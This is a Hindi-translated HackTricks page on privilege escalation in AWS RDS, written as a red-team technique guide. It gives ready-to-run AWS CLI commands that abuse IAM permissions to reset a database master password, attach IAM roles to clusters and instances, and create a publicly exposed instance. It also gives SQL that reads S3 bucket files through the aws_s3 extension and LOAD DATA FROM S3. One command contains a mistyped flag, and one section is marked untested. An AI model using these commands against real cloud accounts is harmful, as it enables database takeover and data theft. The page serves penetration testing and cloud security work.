AWS - RDS Privesc
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
RDS - रिलेशनल डेटाबेस सेवा
RDS के बारे में अधिक जानकारी के लिए देखें:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
इस अनुमति के साथ एक हमलावर मास्टर उपयोगकर्ता का पासवर्ड बदल सकता है, और डेटाबेस के अंदर लॉगिन:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
warning
आपको डेटाबेस से संपर्क करने में सक्षम होना चाहिए (वे आमतौर पर केवल अंदर के नेटवर्क से सुलभ होते हैं)।
संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
rds-db:connect
दस्तावेज़ों के अनुसार, इस अनुमति के साथ एक उपयोगकर्ता DB इंस्टेंस से कनेक्ट कर सकता है।
RDS भूमिका IAM अनुमतियों का दुरुपयोग
पोस्टग्रेसक्यूएल (ऑरोरा)
tip
यदि आप SELECT datname FROM pg_database;
चलाते हैं और आपको rdsadmin
नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक AWS पोस्टग्रेसक्यूएल डेटाबेस के अंदर हैं।
पहले आप यह जांच सकते हैं कि क्या इस डेटाबेस का उपयोग किसी अन्य AWS सेवा तक पहुँचने के लिए किया गया है। आप स्थापित एक्सटेंशन को देखकर यह जांच सकते हैं:
SELECT * FROM pg_extension;
यदि आप कुछ ऐसा पाते हैं जैसे aws_s3
तो आप मान सकते हैं कि इस डेटाबेस के पास S3 पर कुछ प्रकार की पहुंच है (अन्य एक्सटेंशन जैसे aws_ml
और aws_lambda
भी हैं)।
इसके अलावा, यदि आपके पास aws rds describe-db-clusters
चलाने की अनुमति है, तो आप वहां देख सकते हैं कि क्लस्टर में कोई IAM भूमिका संलग्न है या नहीं, क्षेत्र AssociatedRoles
में। यदि कोई है, तो आप मान सकते हैं कि डेटाबेस अन्य AWS सेवाओं तक पहुंचने के लिए तैयार किया गया था। भूमिका के नाम के आधार पर (या यदि आप भूमिका के अनुमतियों को प्राप्त कर सकते हैं) आप अनुमान लगा सकते हैं कि डेटाबेस के पास क्या अतिरिक्त पहुंच है।
अब, एक बकेट के अंदर एक फ़ाइल पढ़ने के लिए आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
यदि आपके पास कच्चे AWS क्रेडेंशियल्स हैं, तो आप उन्हें S3 डेटा तक पहुँचने के लिए भी उपयोग कर सकते हैं:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
note
Postgresql को S3 तक पहुँचने के लिए किसी भी पैरामीटर समूह चर को बदलने की आवश्यकता नहीं है।
Mysql (Aurora)
tip
एक mysql के अंदर, यदि आप क्वेरी SELECT User, Host FROM mysql.user;
चलाते हैं और वहाँ एक उपयोगकर्ता है जिसका नाम rdsadmin
है, तो आप मान सकते हैं कि आप एक AWS RDS mysql db के अंदर हैं।
Mysql के अंदर show variables;
चलाएँ और यदि चर जैसे aws_default_s3_role
, aurora_load_from_s3_role
, aurora_select_into_s3_role
के मान हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है।
इसके अलावा, यदि आपके पास aws rds describe-db-clusters
चलाने की अनुमति है, तो आप जांच सकते हैं कि क्या क्लस्टर में कोई संबंधित भूमिका है, जिसका आमतौर पर मतलब AWS सेवाओं तक पहुँच है।
अब, एक बकेट के अंदर एक फ़ाइल पढ़ने के लिए आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster
, iam:PassRole
एक हमलावर जिसके पास rds:AddRoleToDBCluster
और iam:PassRole
की अनुमति है, वह एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है। इससे हमलावर को संवेदनशील डेटा तक पहुंच या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
संभावित प्रभाव: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।
ध्यान दें कि कुछ DBs को अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है जैसे Mysql, जिसे पैरामीटर समूहों में भूमिका ARN निर्दिष्ट करने की आवश्यकता होती है।
rds:CreateDBInstance
इस अनुमति के साथ एक हमलावर एक क्लस्टर के अंदर एक नया उदाहरण बना सकता है जो पहले से मौजूद है और जिसमें एक IAM भूमिका संलग्न है। वह मास्टर उपयोगकर्ता पासवर्ड को बदलने में असमर्थ होगा, लेकिन वह नए डेटाबेस उदाहरण को इंटरनेट पर उजागर करने में सक्षम हो सकता है:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance
, iam:PassRole
note
TODO: Test
एक हमलावर जिसके पास rds:CreateDBInstance
और iam:PassRole
की अनुमति है, एक निर्दिष्ट भूमिका के साथ एक नया RDS उदाहरण बना सकता है। हमलावर फिर संभावित रूप से संवेदनशील डेटा तक पहुँच या उदाहरण के भीतर डेटा को संशोधित कर सकता है।
warning
भूमिका/उदाहरण-प्रोफ़ाइल को संलग्न करने की कुछ आवश्यकताएँ ( यहाँ से):
- प्रोफ़ाइल आपके खाते में मौजूद होनी चाहिए।
- प्रोफ़ाइल के पास एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 द्वारा ग्रहण करने की अनुमति हो।
- उदाहरण प्रोफ़ाइल नाम और संबंधित IAM भूमिका नाम को
AWSRDSCustom
उपसर्ग से शुरू होना चाहिए।
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
संभावित प्रभाव: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।
rds:AddRoleToDBInstance
, iam:PassRole
एक हमलावर जिसके पास rds:AddRoleToDBInstance
और iam:PassRole
की अनुमति है, वह एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है। इससे हमलावर को संवेदनशील डेटा तक पहुंच या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।
warning
DB उदाहरण को इसके लिए क्लस्टर के बाहर होना चाहिए
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
संभावित प्रभाव: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।